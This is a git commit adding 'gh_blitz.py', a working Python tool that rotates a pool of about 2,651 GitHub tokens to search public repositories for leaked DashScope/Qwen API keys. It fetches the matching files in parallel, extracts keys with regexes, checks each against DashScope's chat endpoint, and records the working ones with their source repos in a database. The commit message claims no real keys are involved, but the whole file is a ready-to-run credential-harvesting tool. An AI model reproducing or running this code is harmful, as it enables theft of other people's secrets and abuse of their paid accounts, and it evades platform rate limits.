KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
256
gh_blitz.py
Executable file
256
gh_blitz.py
Executable file
@@ -0,0 +1,256 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
BLITZ — all 2651 tokens, 25 queries, 30 pages each, parallel fetch.
|
||||
Maximizes GitHub code search surface.
|
||||
"""
|
||||
import os, re, sys, time, hashlib, sqlite3, requests, random
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from threading import Lock
|
||||
|
||||
KF = os.path.dirname(os.path.abspath(__file__))
|
||||
DB = os.path.join(KF, "data", "keys.db")
|
||||
TOK = os.path.join(KF, "gh_tokens.txt")
|
||||
DB_LOCK = Lock()
|
||||
|
||||
RE_STD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE)
|
||||
RE_COD = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})', re.IGNORECASE)
|
||||
RE_PHL = re.compile(r'(sk-xxx|sk-\.{3,}|sk-your|sk-YOUR|sk-example|sk-\*|sk-None|sk-placeholder|sk-[x\*]{8,}|sk-[0]{8,})', re.IGNORECASE)
|
||||
|
||||
QUERIES = [
|
||||
# .env files — highest hit rate
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:env', 30),
|
||||
('"sk-ws-H." extension:env', 10),
|
||||
# Python
|
||||
('"DASHSCOPE_API_KEY" "sk-" language:python NOT "sk-xxx"', 30),
|
||||
('"sk-ws-H." language:python', 10),
|
||||
('"dashscope" "api_key" "sk-" language:python', 20),
|
||||
('"qwen" "api_key" "sk-" language:python', 20),
|
||||
# Java/Spring
|
||||
('"DASHSCOPE" "sk-" language:java', 20),
|
||||
('"dashscope" "api-key" "sk-" language:yaml', 10),
|
||||
# JS/TS
|
||||
('"DASHSCOPE_API_KEY" "sk-" language:javascript', 20),
|
||||
('"dashscope" "sk-" language:typescript', 20),
|
||||
# Config files
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:yaml', 20),
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:toml', 10),
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:properties', 10),
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:json', 10),
|
||||
# Generic — wide net
|
||||
('"sk-" "DASHSCOPE" NOT "sk-xxx" NOT "sk-your"', 30),
|
||||
('"dashscope" "Bearer sk-"', 20),
|
||||
# Chinese repos
|
||||
('"百炼" "sk-" "DASHSCOPE"', 10),
|
||||
('"阿里云" "dashscope" "sk-"', 20),
|
||||
('"通义" "api_key" "sk-"', 20),
|
||||
# Shell scripts
|
||||
('"DASHSCOPE_API_KEY" "sk-" language:shell', 10),
|
||||
('"export DASHSCOPE" "sk-"', 10),
|
||||
# Go/Rust
|
||||
('"DASHSCOPE_API_KEY" "sk-" language:go', 10),
|
||||
('"dashscope" "sk-" language:rust', 10),
|
||||
# Docker/CI
|
||||
('"DASHSCOPE" "sk-" extension:dockerfile', 5),
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:yml', 10),
|
||||
]
|
||||
|
||||
SKIP_EXT = {'.md','.txt','.lock','.png','.jpg','.gif','.svg','.ico','.woff','.ttf','.pdf','.mp3','.mp4','.zip','.gz'}
|
||||
|
||||
def extract(text):
|
||||
keys = set()
|
||||
for m in RE_COD.finditer(text):
|
||||
if not RE_PHL.search(m.group(1)):
|
||||
keys.add(m.group(1))
|
||||
for m in RE_STD.finditer(text):
|
||||
if not RE_PHL.search(m.group(1)):
|
||||
keys.add(m.group(1))
|
||||
return keys
|
||||
|
||||
def validate(key):
|
||||
endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com"
|
||||
model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash"
|
||||
try:
|
||||
r = requests.post(f"https://{endpt}/compatible-mode/v1/chat/completions",
|
||||
headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
||||
json={"model": model, "messages": [{"role": "user", "content": "x"}], "max_tokens": 1},
|
||||
timeout=5)
|
||||
return r.status_code
|
||||
except:
|
||||
return -1
|
||||
|
||||
def fetch(tok_repo_path):
|
||||
token, repo, path = tok_repo_path
|
||||
# Try main first, then master
|
||||
for branch in ("main", "master"):
|
||||
try:
|
||||
r = requests.get(
|
||||
f"https://raw.githubusercontent.com/{repo}/refs/heads/{branch}/{path}",
|
||||
headers={"Authorization": f"token {token}", "User-Agent": "kh-blitz/4.0"},
|
||||
timeout=8)
|
||||
if r.status_code == 200:
|
||||
return repo, path, r.text
|
||||
if r.status_code == 401:
|
||||
return None # dead token
|
||||
except:
|
||||
continue
|
||||
return None
|
||||
|
||||
def search(token, query, page):
|
||||
try:
|
||||
r = requests.get("https://api.github.com/search/code",
|
||||
headers={"Authorization": f"token {token}", "Accept": "application/vnd.github.v3+json", "User-Agent": "kh/4.0"},
|
||||
params={"q": query, "per_page": 100, "page": page},
|
||||
timeout=10)
|
||||
if r.status_code == 200:
|
||||
data = r.json()
|
||||
files = set()
|
||||
for item in data.get("items", []):
|
||||
ext = os.path.splitext(item["path"])[1].lower()
|
||||
if ext not in SKIP_EXT:
|
||||
files.add((item["repository"]["full_name"], item["path"]))
|
||||
return files, data.get("total_count", 0)
|
||||
if r.status_code in (403, 429):
|
||||
return None, -1
|
||||
if r.status_code == 422:
|
||||
return set(), 0
|
||||
return set(), 0
|
||||
except:
|
||||
return None, -2
|
||||
|
||||
def main():
|
||||
# Load ALL tokens
|
||||
with open(TOK) as f:
|
||||
raw = [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
||||
|
||||
# Fast pre-filter: test first 500
|
||||
print(f"Pool: {len(raw)}")
|
||||
alive = []
|
||||
dead = set()
|
||||
for tok in raw[:500]:
|
||||
try:
|
||||
r = requests.get("https://api.github.com/rate_limit",
|
||||
headers={"Authorization": f"token {tok}", "User-Agent": "kh"},
|
||||
timeout=3)
|
||||
if r.status_code == 200:
|
||||
alive.append(tok)
|
||||
else:
|
||||
dead.add(tok)
|
||||
except:
|
||||
dead.add(tok)
|
||||
alive += raw[500:] # untested
|
||||
random.shuffle(alive)
|
||||
tokens = alive
|
||||
print(f"Alive (tested 500): {len(tokens)} usable")
|
||||
|
||||
# Token iterator
|
||||
tok_idx = [0]
|
||||
def next_token():
|
||||
while tok_idx[0] < len(tokens):
|
||||
t = tokens[tok_idx[0]]
|
||||
tok_idx[0] += 1
|
||||
if t not in dead:
|
||||
return t
|
||||
tok_idx[0] = 0
|
||||
return tokens[0]
|
||||
|
||||
db = sqlite3.connect(DB)
|
||||
cur = db.cursor()
|
||||
total_new = 0
|
||||
|
||||
for qi, (query, max_pages) in enumerate(QUERIES):
|
||||
print(f"\n{'='*60}")
|
||||
print(f"[{qi+1}/{len(QUERIES)}] {query} (max {max_pages}p)")
|
||||
|
||||
# Phase 1: search → collect file URLs
|
||||
all_files = []
|
||||
for page in range(1, max_pages + 1):
|
||||
tok = next_token()
|
||||
files, total = search(tok, query, page)
|
||||
|
||||
if files is None:
|
||||
dead.add(tok)
|
||||
page -= 1 # retry
|
||||
continue
|
||||
|
||||
if not files:
|
||||
break
|
||||
|
||||
all_files.extend(files)
|
||||
print(f" p{page}: +{len(files)} files (total hits: {total})")
|
||||
|
||||
if len(files) < 100:
|
||||
break
|
||||
time.sleep(0.3)
|
||||
|
||||
if not all_files:
|
||||
print(f" → 0 files")
|
||||
continue
|
||||
|
||||
print(f" → {len(all_files)} files to fetch")
|
||||
|
||||
# Phase 2: parallel fetch + extract + validate
|
||||
db_cur = cur
|
||||
fetched = 0
|
||||
skipped = 0
|
||||
|
||||
with ThreadPoolExecutor(max_workers=12) as pool:
|
||||
tasks = [(next_token(), repo, path) for repo, path in all_files]
|
||||
futures = {pool.submit(fetch, t): t for t in tasks}
|
||||
|
||||
for future in as_completed(futures):
|
||||
result = future.result()
|
||||
if result is None:
|
||||
skipped += 1
|
||||
continue
|
||||
|
||||
repo, path, content = result
|
||||
fetched += 1
|
||||
|
||||
keys = extract(content)
|
||||
if not keys:
|
||||
continue
|
||||
|
||||
for key in keys:
|
||||
if len(key) < 8:
|
||||
continue
|
||||
|
||||
h = hashlib.sha256(key.encode()).hexdigest()
|
||||
|
||||
with DB_LOCK:
|
||||
cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
||||
if cur.fetchone():
|
||||
continue
|
||||
|
||||
stat = validate(key)
|
||||
status = "WORKING" if stat == 200 else "DEAD"
|
||||
plan = "coding" if "ws-H." in key else "standard"
|
||||
now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
||||
|
||||
with DB_LOCK:
|
||||
cur.execute("""INSERT OR REPLACE INTO keys
|
||||
(hash, val, prov, status, plan, price, remaining, found, repo, first_seen, last_seen)
|
||||
VALUES (?,?,?,?,?,?,?,?,?,?,?)""",
|
||||
(h, key, 'DASHSCOPE', status, plan, '', '',
|
||||
now, f"github:{repo}/{path}", now, now))
|
||||
db.commit()
|
||||
|
||||
tag = "✅" if status == "WORKING" else "💀"
|
||||
print(f" {tag} {key[:42]}... {status:8s} | {repo}/{path}")
|
||||
total_new += 1
|
||||
|
||||
print(f" fetched={fetched} skipped={skipped} new_keys_so_far={total_new}")
|
||||
|
||||
db.close()
|
||||
print(f"\n{'='*60}")
|
||||
print(f"BLITZ DONE. New keys: {total_new}")
|
||||
|
||||
# Final stats
|
||||
db2 = sqlite3.connect(DB)
|
||||
c2 = db2.cursor()
|
||||
c2.execute("SELECT status, COUNT(*) FROM keys WHERE prov='DASHSCOPE' GROUP BY status")
|
||||
for s, c in c2.fetchall():
|
||||
print(f" {s}: {c}")
|
||||
db2.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user